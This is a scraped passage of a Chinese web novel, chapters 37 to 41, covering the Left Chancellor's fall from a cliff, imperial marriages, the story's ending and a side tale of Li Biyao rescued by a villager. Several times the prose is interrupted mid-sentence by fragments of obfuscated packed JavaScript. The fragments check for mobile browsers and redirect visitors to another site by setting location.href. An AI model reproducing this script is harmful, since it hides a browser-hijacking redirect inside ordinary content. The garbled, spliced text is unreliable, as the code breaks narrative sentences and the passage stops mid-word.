“唉,有了。”折蝶随即跟上了彩蝶的身影,一路小跑着。 这么快,她找到了什么信息了吗? “这是冥蝶,专门追踪目标用的,可以仅凭一丝一毫地气味,找到目标。”折蝶大概是探寻到了我们疑惑的目光,向我们解释道。 这是不是意味着,有冥蝶带着我们,就可以直接找到左相了? “原来,之前聂长风问我要了一件月柒的衣服,也是这个道理呀。”无意突然间想起来了这一茬,恍然大悟道。 什么时候的事?无意拿走了月柒的衣服交给聂长风,我怎么一点都没发现?但仔细一想,身边一群武艺高强的人,哪个又不是行踪诡异,让人琢磨不透呢? “是的呢。”折蝶欢快地答道。 “那如果是下雨天呢?”月柒不紧不慢地跟着折蝶的步子,扭头问她。 其实我也好奇,毕竟万千世界,无奇不有。 “哈哈哈哈,当然是没有办法啦。而且哦,追踪时间太久了也不行哦,还有蝴蝶寿命很短,孵化了一代又一代,在冬天就孵不出了。”折蝶笑如银铃,随即目光中多了几分的幽冷:“不过呢,我们千机楼,有的是找人的办法。” 为什么一个七八岁的孩子身上会这么危险,虽是好奇,可我也不想细探究竟,因为我搞懂了以后,可能自己也就没命了。 冥蝶在空中低低地飞舞着,穿过闹市,绕过浅溪田野,兜兜转转,最后带领我们来到了一座山上。 山脚百花盛开,鸟雀欢鸣,有一条溪流自山上蜿蜒下来,将我们面前的山路劈成了两半。乍一看是一片生机盎然的景象,里面究竟藏了什么,就不得而知了。 这是出玉宵国必经的一条路,虽然越往上山势越陡峭,可是因为很多商旅行人都路过此地,走的人多了,山顶上面,就被开辟出一片平地,小路由平地曲曲折折地蜿蜒着,直通国外。 在一个路的转角,有一辆马车正停着,马儿正悠悠地吃着草。 “哇,找到了!前面有个人!”折蝶的声音不大不小,刚好可以被那个人听见。 那人大概是发觉自己的行踪暴露了,赶紧上马,后又慌乱地扬了扬,马蹄声哒哒,在山间的石子路上回荡着。 聂长风见机,施展了轻功,直接落在了那人前方不远处。 见前面有人挡住了去路,那人倒也不慌乱,勒了马车,回到了车厢里。 没多久,他出来了,还从车厢里拖出来一个人。 那一袭碧衣柔弱至极,仿佛被风一吹就会散去似的,定睛一看,居然是碧凝夫人! 这个老狐狸,没想到他还留了一手,未名宫本来由朝卫兵看守着,玉轩枫带人抄丞相府的那一天,就撤了未名宫的守卫们。没想到啊,左相偏偏挑了这个时候下手。 “你们都不要过来,不然我就对她不客气了。”左相面目狰狞,将一把长剑横在了碧凝夫人的脖子上,吓得我不由得屏住了呼吸。 “哎呀,没有办法了呢。寒镜姐姐你要怎么办呢?”折蝶的脸上永远看不见悲伤难过,不得不说,这真的是个没心没肺的孩子。 “唔,不知道。”寒镜看了看碧凝夫人,眉头紧锁,轻咬着嘴唇。 左相离我们还有点距离,他的身后是万丈悬崖,悬崖下方是一片荒芜的荆棘丛。一旦动起手来,稍有不慎,碧凝夫人也会跟着他摔下去,粉身碎骨。 碧凝夫人更是被吓得花容失色,大气都不敢出一声。 局面僵持了很久,即便千机楼众人武艺高强,也不敢妄然动手,毕竟,我们此次出来的目的,是抓住左相,伤了任何一个人都是不好的,更何况那人身份并不一般,还是皇宫里的妃嫔。 不远处传来了银铃清脆悦耳的声音,我没有注意到,在铃声开始响起的那一瞬,寒镜聂长风等人都不约而同地捂住了耳朵。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244493|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 叮呤…… 叮呤…… 有铃声自四面八方而来,那声音似能穿透五脏六腑,我头疼得欲炸裂,几乎昏厥过去。 只见左丞双眼中布满了血丝,他猛地将身前的碧凝夫人往前一推,尔后自己后退了好几步,跌入了身后的万丈深渊。 “殇魂铃,自听到铃声的那一刻起就已经处在了她的摆布之中了。”寒镜确认那声音已经消失,放开了捂住双耳的玉手。 “哎呀,来晚了呢。”那女子一袭白衣,纤尘不染,语气中带着的轻浮,和折蝶一模一样。 那女子光着脚,附近都是尖锐的山石,她这么踩着不疼吗?她脚上的银铃上下左右地摇摆着,却莫名其妙地没有发出刚才那样的清脆响亮的声音。 “娘!”折蝶一看到那个女子,就一把扑在了她的怀里。 留下了淡定的寒镜聂长风和懵逼的众人,折蝶和她是母女关系?杀手不是没有感情的吗? 而且,这个女子碰到折蝶竟然安然无恙,她是怎么做到的?还有,她是怎么找到我们的? 虽然来得有些匆忙,那女子也还顾忌着礼数,只见她向聂长风抱了个拳:“惊阁阁主冷娣参见楼主。” 聂长风浅浅地“嗯”了一声,算作是回应。 “娘,你怎么才来?”折蝶小鸟依人地靠在冷娣身边,像个纯良无辜的孩子。 冷娣眸中流露出的尽是温柔:“娘不在的这段日子里,小蝶有没有乖乖的呀?” “嗯!娘不在的时候我可乖可乖了,不信你问寒镜姐姐。”折蝶又转过身去,揪了揪寒镜的墨色袍子,望向她的眼神里满含期许。 若不是因为这些人都在千机楼,此情此景,在寻常人家里看来,不知道是一副多么和谐的画面。 马车依旧是完好的,碧凝夫人受了惊吓,神志有些恍惚,我和月柒一路将她护送回了未名宫。 皇宫前,立着些些许许的宫人,有宫人看见了我们的马车,慌忙溜了进殿,大概是去通报了吧。 在去未名宫的半路上,我看到了玉轩枫那一袭明晃晃的龙袍,还有他面上焦灼的神情。 “皇上。”车帘未揭,车外人声渐起,碧凝夫人也察觉到了玉轩枫的存在,立刻从马车上跃了下来,一把扑进了他的怀里,轻轻地啜泣着。 你相信吗?若有人成为了你心上的一颗朱砂痣,无论你变成什么样,都能在人山人海中,一眼认出他来。 “对不起,我的错,你受苦了。”玉轩枫轻轻地拍了拍她的肩,安抚道。 后来听宫人们说,本来玉轩枫在上早朝,听宫人们报告碧凝夫人不见了,慌忙下了朝,派了精兵良将去寻找。而他自己,一整天都守在了未名宫,寸步不离。 左相死了,乱党群龙无首,纷纷皈依朝廷,朝中算是平静了下来。 花迟、日辄两国见没有了投靠,却又在玉宵国面前暴露了狼子野心,赶忙派使者来说和,说是如此,但其实想法谁都知道——要是打起来,玉宵国肯定占了上风,两小国这才不得不委曲求全。 38. 未名嫁衣 本来左相造反这件事情很棘手,但经过千机楼这么一掺和,两部尚书惨死,朝中一些附和的大臣如墙头草般倒戈,左相势力在两天之内大打折扣。千机楼立如此大功,玉轩枫说什么也要赏赐他们,哪曾想千机楼这次一改往日的高调,仅仅一夜,像是人间蒸发一样,半个人影都看不到了。 不过我知道,聂长风一定还在念城。因为无意虽执意守在月夫人身边,但经常会夜不归府,每每到东方露出浅浅的鱼肚白才回。前几次出于关心,我们问她干嘛去了,她也是支支吾吾说不清楚,面露潮红。时间久了,大家心里也都有数,知道她去找聂长风了,便都不再过问。 这个女孩子的心思,大多写在了脸上,也不懂得拐弯抹角。整个千机楼虽然冷冰冰的,但从她的一举一动来看,聂长风待她,是真心不错。 后来的故事很长,我没有办法去一一经历,只能靠道听途说拼凑出全部。 大概就是,玉轩枫“找回”了流落民间多年的儿子——弥生,立为太子,同日,大赦天下。 我突然想起祁善连,感谢他陪我度过了那些艰难的狱中时光。这次出去以后,他会看到他从未谋面的孩子,会找到他的兰儿的吧。就像他所说的那般,两人购一间铺子经营着,孩子慢慢长大,他们慢慢老去,这一生,执手便是永恒。 玲珑公主在西南的那场瘟疫中走散,因为种种原因一直未回,现在被“找”到,赐国婚,驸马是沈笑。我忆及那日琼花下那个转轴拨弦说着要江山安稳、良人相伴和岁月安稳的女子,现在看来,大概她想要的,都实现了吧。 不仅如此,碧妃也恢复了皇后身份。听说后宫里的某些个嫔妃,这些年一直盼着能朝朝伴在君王侧,听闻碧妃“死灰复燃”,得知自己的想法彻底破灭,最后受不住打击,投井自杀了。 而沈笑,更是一步登天,从公主的护卫,转身变成了公主的驸马。再见他的那天,公主府内池塘露出了尖尖的荷角。沈笑依旧是一袭青衣,表情淡若清风,手中拿着半个馒头,正在池边揪碎了喂着锦鲤。 我凑上去,道了句:“恭喜。”他只是淡淡地瞄了我一眼,随即又抛下一把鱼食:“有什么好恭喜的。” 他这是大喜大悲后的淡泊?我没有理他,径直走了,本来那日去便不是找他,而是跟玲珑公主商讨一些朝政上的事务。 玉轩枫一一兑现了他当初的诺言,最后把我和月柒叫到了执政殿,问我们想要什么。 “那个,我们曾经找玉王爷借了一万两,是不是可以不用还了?”月柒声音很小,眼神里满满的真切,直直地望着玉轩枫。 “哈哈哈,仅此而已吗?”玉轩枫笑得爽朗,想来一万两于他而言,不过是小事一桩罢了,一国之君,坐拥天下,哪里会差这一万两银子? “那你呢,你想要什么?”他又转头问我。 “我好像什么都有了,我什么都不想要了。”我直言,之前,我担心我两辈子都还不完的银两,被月柒的心愿解决了,我也没有什么想要的了。 “你爹向朕乞求了一段姻缘,难道你不想也求一段御赐金婚?”玉轩枫悄悄凑到我的耳边,说了句,眼神暗看向月柒。 我摇了摇头,并不想。我的一切,本来就是他们给予我的,我能拥有着这么好的一群亲人们,就已经很知足了。 爹向皇上祈求的是一段姻缘,他说,当年没能给月夫人一场风风光光的婚礼,包括这些年,也一直都在让她受委屈,他想要弥补回来。御赐金婚虽是风光无限,但若是数量太多,便着实降低了派头。更何况,公主和沈笑的国婚也在即,我何必跟他们去抢什么风头。 对于爹的请求,玉轩枫二话没说便答应了,只不过是李碧凝和江陵的婚事。当初月夫人和皇后调换了身份,被发现了才引来李家的祸端,圣上为了皇家的颜面,将欺君之罪换成了叛逆谋反,如今李家平反,大家都知道,宫里的娘娘是李碧瑶,那么真正的李碧瑶,只能成为李碧凝了,我听后感慨,玉轩枫呐,还是面子上放不下。 赐婚的圣旨刚到,后脚碧凝夫人就乐呵呵地亲自送了个箱子过来。她如今恢复了后宫之主的身份,自然也恢复了自由,可以明面上出宫了。 暗红色的漆,沿角上用金笔勾勒了些许的花纹,有些已经被磨损了,铜锁上爬了些许斑驳的绿迹,正是当时我和玉轩枫在未名宫看见的那一个上锁的箱子。 “这是我欠她的。很早之前我就知道生儿还活着,本来打算绣给生儿未来的娘子的……”大概是怕引起什么误会,碧凝夫人话说了一半戛然而止。 “我这一辈子,只认真绣过这么一件嫁衣,眼看着他们婚期将近,再绣,恐怕就来不及了。” 箱子里装着的是一件大红色的嫁衣,定是碧凝夫人花了不少心思绣的。早就听闻她绣工一流,如今看来,确实如此,整个念城,怕是没有一家铺子能与之媲美。 那嫁衣是用极好的缎子缀了两层,前后方用极细的金丝线勾勒出一只繁复的凤凰图案,四周配以富贵华丽的牡丹纹饰,裙摆长度刚刚及地,一个人穿起来一点都不显得累赘。嫁衣样式虽然简洁,但碧凝夫人花在上面的心思是一点都不少,一针一线,便可窥见其中的功夫。 想来定是因为她这些年身处未名宫,行动不便,得到的材料也有限,所以这件嫁衣便没有那么雍容华贵。 月夫人收到这件嫁衣的时候,手都是抖的,眼含泪花,呜咽着,激动得半天说不出话来。 风波过后,江府也恢复了过往的模样,不只是钟伯和阿笙,很多江府往日得力的家丁们都回来了,十二个丫鬟中有九个也回来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我相信,我爹会照顾好我娘的。他们好不容易才有机会在一起,应该让他们有更多的时间相处。”纠正好了称呼问题,月柒又回到了最初的话题上。 “子执哥哥,你说到时候我们成亲的时候会有这么壮观吗?”月柒眺望着远处的迎亲队伍,用双手捧着脸,拄在城墙的栏杆上。 “小月儿,我和爹不一样,我不是朝中大官,不会有皇上的御赐金婚。我只是像八年前的雪夜遇到的一般,一无所有,我的所有都是爹给我的。你,可愿嫁与我为妻?”我问得很认真很认真,说的也是实话,却很想马上要一个答案,只因为害怕她会后悔。 如今的月柒,是前丞相之孙,如今的副相之女,皇后之甥,再也不是那个醉红楼里的身无分文的小丫头了。而今她身份不凡,而我却一无所有,要说起门当户对,怕是念城寥寥名门贵族才能与之相配。 月柒并没有说话,只是踮起脚尖,在我额上落了一个似蝴蝶飘过般的吻,继而别过头去,整张脸红通通的。我呆在原地,眼里漫天的春花仿佛都在说着: “我愿意。” 39. 结局 月柒说要回醉红楼收拾一些东西,我亦随她前往。 正是盛夏的季节,醉红楼门口的那棵歪脖子树上挂满了一串白色的不知道什么花,有风吹过,传来沙沙的声音,清香亦随风荡漾而来。 今日的醉红楼门口冷冷清清的,屋檐下那一排火红的灯笼也不见了踪影,只是陈妈妈那高亢的声音依旧回荡在楼里。 往里走,才看见她正指挥着屋子里的几个仆役,搬着屋里的一些摆饰:“这里这里,把这个搬走。” 这是要干嘛?我不解,一屋子的人,好端端的搬东西做什么? 月柒跑上前去,问了一句:“林妈妈,怎么了?” 林妈妈一拊掌,满脸带着笑意,更堆砌出深深的皱纹:“哎哟,回来了呀,你瞧我这记性,光顾着你们飞鸿腾达去了,还以为你们看不上这里留下的些个小物件,忘了跟你们说,这里不久后就要易出去啦!你们要搬什么快点搬吧。” “啊?那醉红楼的大家呢?”那一瞬间,我开始回忆起醉红楼里的那些人。 那个总是笑嘻嘻打扫的爱八卦的小六儿,云深、半秀、早杏……那些倩影一一在脑海中划过。 虽时有摩擦,但不可否认,她们已经成为了我生命中很认真的过客。感谢她们,许我繁花似锦,黄粱一梦。 虽然,她们中有些是左丞相的眼线,曾经无时无刻也在监视着我们的行踪,但左丞相死后,她们也都离开了醉红楼。不必寄人篱下后,她们会找到属于她们的自由与幸福的吧。 “她们都从我这里拿走了赎身契,开始新一段的生活了。”林妈妈一边跟我们说着,一遍也不闲着,指挥者手边的一个仆役,指着桌上的花鸟纹绘彩瓶:“这个,也搬上马车去。” 醉红楼怎么突然要易出去,这些年,这里生意不可以说是不好。醉生梦死,酒池肉林,林妈妈肯定也赚得盆满钵满,就这么离开了,那她以后要做什么营生? 林妈妈忙着搬家,也懒得搭理我们,看她有条不紊地收拾着东西,我们索性也上了楼,草草的盘算了一番,捡了些重要的小物件打包带走。 等我们收拾好下楼时,楼下那两辆马车里已经被塞得满满当当的,都是些不大不小的物件——醉红楼不小,价值连城的东西也多,林妈妈本着能搬走就搬走的原则,屋子角落里极小的装饰品都不放过,毕竟,都是真金白银换来的。我琢磨着,他们可能需要跑好几趟。 林妈妈上了其中一辆马车,正欲驱车离去。 一道玄衣不知道什么时候立在了她的旁边,手中捧着一个白釉蓝花的瓷瓶,声音里依旧是薄凉冷清:“娘,我烧完了。” 我循着那个声音望过去,是聂长风!今日的他,没有戴面具,眉宇中的戾气也比以往少了不少。 等等,他叫林妈妈叫什么来着,娘?敢情醉红楼背后的势力是千机阁,我回忆起过去的种种,要早知道是这样,敢来闹事的那些人莫不是吃了雄心豹子胆? 如此,鬼市的交头地点在醉红楼也能说得通了,聂长风他肯定常来醉红楼。还有,醉红楼中那么多会武功的女子,她们中一定也有千机楼的人,是聂长风为了保护林妈妈而安排的,所以那么多次,林妈妈才能有恃无恐,坦然应对楼内的各种纷争。 如此看来,操心林妈妈以后会作何营生实属我多虑了,毕竟鬼市做的可是一条消息收了我万两银子的买卖,有的是钱,估计人家后半辈子,坐在家里数钱就够了。 “走,我们带着你爹回家吧。”林妈妈盯着他手中的瓷瓶看了一会儿,又小心翼翼地接到自己手中。 继而她又面无表情地对着空气喃喃念着:“有些执念,我放下了,云天,我的云天……” “阿执哥哥,云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沈笑后来成了玉霄国历史上第一个带兵打仗的驸马,战功显赫,屡战屡胜。当第一声捷报传来的那天我才明白,那日公主府内他那一声轻浅的叹息源自何处——那是一个男人在家与国之间的抉择,守万里河山,护国护民,亦是为她。 40. 不待良人① 大小姐跳了崖,奈何昨晚雨大,山里路不好走,他们工具也没带齐全,夜又深沉得吓人,搜寻工作不得不暂停。这不,天刚蒙蒙亮,无意就带了部下去悬崖下的深山里寻人。 与此同时,山中。 一个二十出头背着竹筐的男子领着一个八岁左右大的小男孩,一前一后走在雨后泥泞的山路上,还不时地向四周望望,似是在搜寻着什么。路有些滑,男子还时不时地搭过手去,扶身边的娃娃一把。 “吴越哥,你真好。”小男孩借着他的力道站稳了身子,朝吴越憨笑道。他眸子清澈得像山中一尘不染的泉水,皮肤黑黝黝的,笑的时候露出一口洁白的牙齿,形成了鲜明的对比。 倒是吴越,一听这话,挠了挠脑袋,有些不好意思地笑了笑:“嘿嘿,小事,不必挂念。”随即又像是想起了什么,追问道:“对了,小虎,你娘的脚伤好些了吗?” 小虎有些笃定地点了点头:“嗯,村里的郎中开了些药,我娘已经按照他的嘱咐服了几天,有好些了。” 吴越听了,心中自然是喜的,心中念道,那就好。 他们住的村子被大山包围着,和外面几乎是隔绝的,只住着几十户人家,因为地势特殊,外面的人想找进来也不容易。因为有着依山傍水的优势,可以打些山里货水里货补贴生活,年年又风调雨顺,耕耘基本上自给自足,也极少有人出远门,也只有逢年过节的大采购,才会有人出山。 可谁家没个病啊痛啊什么的,拖着病怏怏的身体,跑出山一趟也是怪折腾的。很久之前村里有位颇有远见的读书人研习医术,成了这个山村里唯一的一名郎中。这户人家就一直定居在此,并且医术也世世代代相传,沿袭至今,村民们谁要是有个头疼脑热的什么毛病,都往他家跑。 前几天刚下过雨,小虎的娘上山采桑叶,不小心摔伤了腿,正是那位郎中开的药。可老话说呐,伤筋动骨一百天,小虎娘亲养伤还需些时日,这些日子行动十分不便。 正是桑蚕茁壮成长的时期,需要的桑叶也比平时多了不少,望着满屋子白白胖胖的蚕宝宝,小虎的娘可急坏了,今年春天的大笔收入都指望着这批蚕丝呢。 隔壁的吴越听说了邻居大娘摔伤了腿,没有办法出门,二话没说,就揽下了采桑这个活儿。这不,淅淅沥沥的小雨刚停,吴越就拉了小虎,上山来采桑叶了。 前几年,战乱四起,朝廷四处征兵,小虎他爹服了兵役,去了战场,至今杳无音信,家中没了劳动力,除了种了刚好够吃的粮食,剩下的精力就养些小动物补贴家用。 那一年同小虎爹一起去战场的青年人,后来竟无一人回家,眼见着村里的劳动力严重不足,村长索性封了村子,只留了一个极小的崖缝,供大家有事外出。 吴越一介男子,身强力壮的,寻日里都是靠耕种谋求生活。虽然没有养过蚕,可也跟着小虎娘学过一些知识,他知道,蚕宝宝不能沾水,就嘱咐小虎:“待会儿回家呢,我们还要把这些桑叶烘干,然后再来采下一批。” “嗯!”小虎嘴上应和着,手上也不闲着,把手边的新叶撸了一把下来,放进身上的背篓里。 吴越放眼望去,满眼满眼的新绿,很是养眼。他们这个大山里呀,没有经过战争的洗礼,也没有被人为地破坏,一切都还是最原始最自然的模样,花草树木,每一株每一棵都透漏着灵气,人走在其间,只觉得是无限的舒畅,五脏六腑都变得很舒坦,让人忍不住地想要多看两眼。突然间不经意一瞥,吴越看到了有一抹不一样的颜色,树上好像挂着什么,他有些好奇,忍不住走进了些。 再细瞧,那个颜色跟身旁的绿格格不入,依稀可以看见四截悬在半空的细细的什么。 那,是个人?吴越看了看树上的那抹土灰色,皱了皱眉头,看情况,这个不是村子里的人,莫非是从悬崖上掉下来的? 一想到这人从那么高的地方掉下来,生死不明,吴越赶紧朝小虎喊道:“小虎快来帮我,这里好像有个人。” 小虎听到了此言,赶忙放下背篓,朝他这边赶过来。 两个人花了好长时间,才把那个人从大树上取了下来,是个女子,她身上多处都是淤青淤紫,还有些被擦破了的伤口,往外流着暗褐色的血液。 吴越伸出了手,试了试女子的鼻息,心中万分惊喜,还活着! 吴越也顾不上采桑了,慌忙丢了竹筐,背起她就往村里的郎中家里赶,小虎捡起了那个竹筐背在自己身上,尾随在吴越身后。 “小子,我劝你最好少管闲事,这个女子估计是从上边悬崖上掉下来的,身上多处都被石头撞伤,内脏俱损,气血淤塞,要不是挂在了树上,现在你面前的就是一具血肉模糊的尸体。”村里的老郎中看到那个女子,止不住地摇头叹气,只说了这么一句话。 地方闭塞,最灵通的便是消息了,一点儿捡着芝麻谷子的小事,马上就传开了。听闻吴越从山上捡了个人,他们村里来个人都不容易,这自然是稀奇事,村民们将郎中的家里三层外三层围了个水泄不通,大家都好奇那个女子是哪里来的,现在是死是活。 “看老先生的样子,是救不活了。” “可怜了这个年纪轻轻的姑娘,唉,真是造孽啊。” …… 村名们七嘴八舌,议论纷纷,又见村里的大夫一副沮丧模样,便知道这个姑娘怕是命悬着呢。 “可是,她现在还是活着的啊。”虽然有人就在他旁边,一个劲儿劝他放弃她,让他用草席卷了,扔到山里,趁着树大林深直接处理了,可吴越丝毫没有放弃,据理力争,因为愤慨红了眼,明明她还活着,他们怎么可以这么草菅人命! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244496|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我尽力吧,能不能活下来就看她的造化了。”那老先生拗不过吴越,这小子,向来心善,要不是穷了点,村里的姑娘们早就排着队嫁给他了。 于是,吴越身上又多了一项活儿,就是照顾这个来路不明的女子。外面铺子的药草贵,可大山里什么没有,大夫把一些难得的药材换成了同等功效可以采摘的草药。于是,除了和小虎一起上山采桑,吴越还照着村医给他画的图,在山里四处找药、采药,然后把它们熬成汤,一点一点地喂给她。 一个月过去了,李碧瑶终于醒过来了,当她睁开眼时,小虎双手托着脑袋,趴在床沿边,正聚精会神地打量着她。 不得不说,吴越哥捡回来的这个小姐姐,有点好看,鹅蛋脸,睫毛长长的,偶尔睫毛翕动,像山间扇动翅膀的彩蝶。可惜,就是命不太好,从那么高的山上摔了下来,小虎想着,却看到床上的人明显地动了动。 见她醒了,小虎高兴地欢呼着:“吴越哥,吴越哥,她醒了!”随即一溜烟消失在了泥墙后。 此时,正是春蚕“上山”的时候,吴越正帮着小虎的娘扎着稻草束,听小虎说那个女子醒了,赶忙放下手中的活,特地跑过去查看。 李碧瑶此刻脑袋还是晕晕的,身上的粗布衣料硌得她生疼,她打了一个激灵,是什么时候?她的衣服被人换了? 她像是意识到了什么,猛地在床上坐起来,摸了摸自己浑身上下。全身上下的衣服,都被换过了! 吴越和小虎刚推了门进来,看到了她在自己身上胡乱地摸索着这一幕。 “你醒了呀,我就说嘛,你会醒的,他们都不相信。”来人高高瘦瘦,穿着浅灰色的外衫,笑起来让李碧瑶想到了春日的阳光,明媚而又和煦。 李碧瑶环顾了一下四周,屋子里再没了别人,布置也很粗糙,根本不像有女眷的模样。莫非,自己的衣服是这个男人换的? “你,不要脸!”衣服的粗糙让她气不打一处来,一想到自己衣服还被一个男人换了,那一刻,她想抬手抡他一巴掌。可惜,她没有力气,贵为丞相之女,被一个陌生男子看了个遍,她几时受过这般羞辱? “姑娘家家的,脏兮兮的可不好。”吴越又不傻,联想到她先前的举动,马上看穿了她的想法,冲她咧嘴笑了笑。 她之前穿得那身衣服料子虽然好,但是被树枝刮花了,又沾了泥,又脏又破,早就被他扔了。 其实,他父母早逝,他一个人常年独居在此,家里不曾有女子的衣物,便找小虎的娘讨要了几件。为了避嫌,就连她的衣物,也是小虎的娘帮忙换的,可他不说,李碧瑶也不会知道。 “你,不可理喻。”李碧瑶气不打一处来,爱美是必须的,可是讲道理,他扒了人家女孩子的衣服,怎的还能如此恬不知耻地说出这番话来? 41. 不待良人② “在下吴越,敢问姑娘芳名?”吴越想着,好歹自己忙碌这么多天,为了摘草药爬过悬崖、斗过豺狼,历经千辛万苦这才救了她一命,问个名字不过分吧,便开始自报家门。 “要你管!”李碧瑶整个人钻回被窝,转过背去,觉得自己像是一拳打进了水里,没了回音。她的想法得不到理解,便生着闷气,试图不再理会吴越。 “姑娘暂且好好休息,我们便不打扰了。”看着对面的女子火气正大,吴越给小虎使了个眼色,两人掩了门,继续回到小虎家扎稻草束。 李碧瑶从被子里慢慢地探出头来,只露出一双机警的眼睛,四处瞄了瞄,屋子空荡荡的,已没了人影。唉,那个男人和那个孩子,真的就这么走了? 她艰难地起身,观望了一下四周的的环境。这个屋子不大,四壁是用泥巴砌成的,屋里除了一个灶台、几张桌椅和身后的土炕,别无他物。隔壁是一个小小的房间,只能容纳下一张小小的木床,床上的衾被整齐地叠放着,是那个男子的? 那个小男孩呢?是他的儿子吗? 咕咕~突然,李碧瑶的肚子不争气地叫唤了一声。糟了,肚子饿了,怎么办?那个男人,刚刚被她凶走,一时半会儿,怕是回不来了。 她在屋里搜罗了一圈,除了米缸里的那半坛米和一些破破的罐子,什么吃的都没有。那罐子里装的不知道是什么,黑乎乎的,根本不知道能不能吃。 唉,怎么办?她又钻回了被窝里,试图用睡眠赶走饥饿,可怎么都睡不着。没过多久,她听到了门外一声窸窸窣窣的动静,警觉地坐起来。 来人是吴越,见她醒着,连忙把手中的一个筲箕递给她,里面装着几张正热乎的薄饼,上面散着些许的白芝麻,散发着诱人的香味。 “隔壁张大娘刚烙了饼,我想着你今日还未曾进食,特地给你装了几张回来。” 李碧瑶被饿坏了,一手抓过他递给她的饼,也顾不上什么大家闺秀的形象,狼吞虎咽了起来。真好吃,这真的是她这辈子吃过的最好吃的东西了,可她在相府里从未尝过。 “咕咕~”男子在一旁看着她吃,脸上的笑意挥散不去,肚子却不合时宜地叫了两声。 原来他还没吃啊,想到这里,李碧瑶的脸唰地一下红了,她停下进食的动作,把剩下的饼塞到男子手中:“你吃。” “没关系,你先吃着,不够我再去找张大娘要两张。”吴越把饼塞回了她的手中,目光温柔如水,像是暖阳,融化了她的所有蛮横霸道。 “可是你,不是饿了吗?”李碧瑶的脸更红了,怎么办?她这辈子对京城里那些纨绔公子哥们蛮横惯了,竟然不知道跟寻常男子怎么相处了。 见她在发呆,吴越轻轻地摸了摸她的头:“想什么呢,快吃,我先去忙。” 头顶仿佛还留着他手上的温度,暖暖的,吴越他这一伸手摸得李碧瑶是心头一热。她莫名地觉得,眼前的这个男人,对她很好,这种好,跟以往所有人对她都不一样,没有巴结,没有奉承,很自然,让她觉得很心安。 李碧瑶看着他从屋子里进进出出,紧接着又不知道把什么装进了那些陶罐,然后点了炉火。吴越笨拙地拿着一把蒲扇在一旁煽风,整个人被熏得咳嗽不止。 过了半晌,吴越给她端来了一碗黑漆漆的水,示意她喝下。原来,他刚才忙碌了半天,是为了给自己做这一碗吃的呀,李碧瑶想着,心里竟然有些莫名其妙的感动。 可当她轻呡了一口,就皱了皱眉头,嫌弃地把碗推给他:“这是什么呀,好苦,我不喝!” “这是药,乖,张嘴,喝了就能快点好起来。”吴越用勺子温柔地舀了一勺,放在嘴边吹了吹,递给她。 她毫不领情,一把打落他手中的勺子,黑色的药汁洒在了他的灰布衣上,脏了一大片。 吴越皱了皱眉头,怎么办,之前是在她昏迷的情况下喂的药,她才能痊愈得如此之快,现在她醒了,不肯乖乖喝药怎么办? 李碧瑶看到他脸上密布的阴云,以为是他生气了,有些心虚地瞅着他,又紧张地拽了拽被子,想着自己现在是寄人篱下,万一他生气了,把自己赶出去了怎么办? 她现在身无分文,好不容易眼前这个男人愿意收留她了,她居然还要惹他生气…… 哪知吴越抛下一句“你等一下”就又不见了,过了一会儿才气喘吁吁地回来,回来时他手里拿了张油纸,里面包裹着什么大大小小的白黄色物品。 是几块大大小小的麦芽糖,吴越喂给她一块:“不好意思哈,我这里什么都没有,我刚找隔壁的小虎要了几块麦芽糖,你把这个含在嘴里,然后再喝药,就不苦啦。” 原来那个叫“小虎”的男孩是隔壁的呀,不是他的儿子呀,李碧瑶想着,为自己先前的想法哭笑不得。 麦芽糖的甜腻敌不过中草药的苦涩,吴越一勺勺温柔地喂她喝着,她也不敢再说什么。 那以后,吴越依旧每天帮着隔壁张大娘打点屋内大大小小的事情,偶尔闲下来会陪李碧瑶说说话。倒是小虎,隔三差五地给她递来一包麦芽糖:“吴越哥说了,你喜欢吃这个。” 两个月后,她已经好得差不多了,村里的郎中看见她时,惊呼了一句:“奇迹啊,这真的是个奇迹!老夫行医这么多年,伤得这么严重还能痊愈的,还是第一次见。” 什么奇迹,都是用心栽培下来的结果。 少女懵懂的情愫暗暗萌发,李碧瑶从心底里承认,自己已经开始慢慢地喜欢上吴越了,便胡搅蛮缠让他娶自己:“我不管,我都把我看完了,你要负责。” “你的衣物是隔壁张大娘帮忙换的……”吴越虽是满心欢喜,可终究还是拒绝了她。他看出来了,她不是寻常百姓家的女子,而自己一无所有,跟着自己,她只会吃苦受累,而她应该早日回归她的生活,嫁入豪门,坐拥荣华富贵。 “我不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 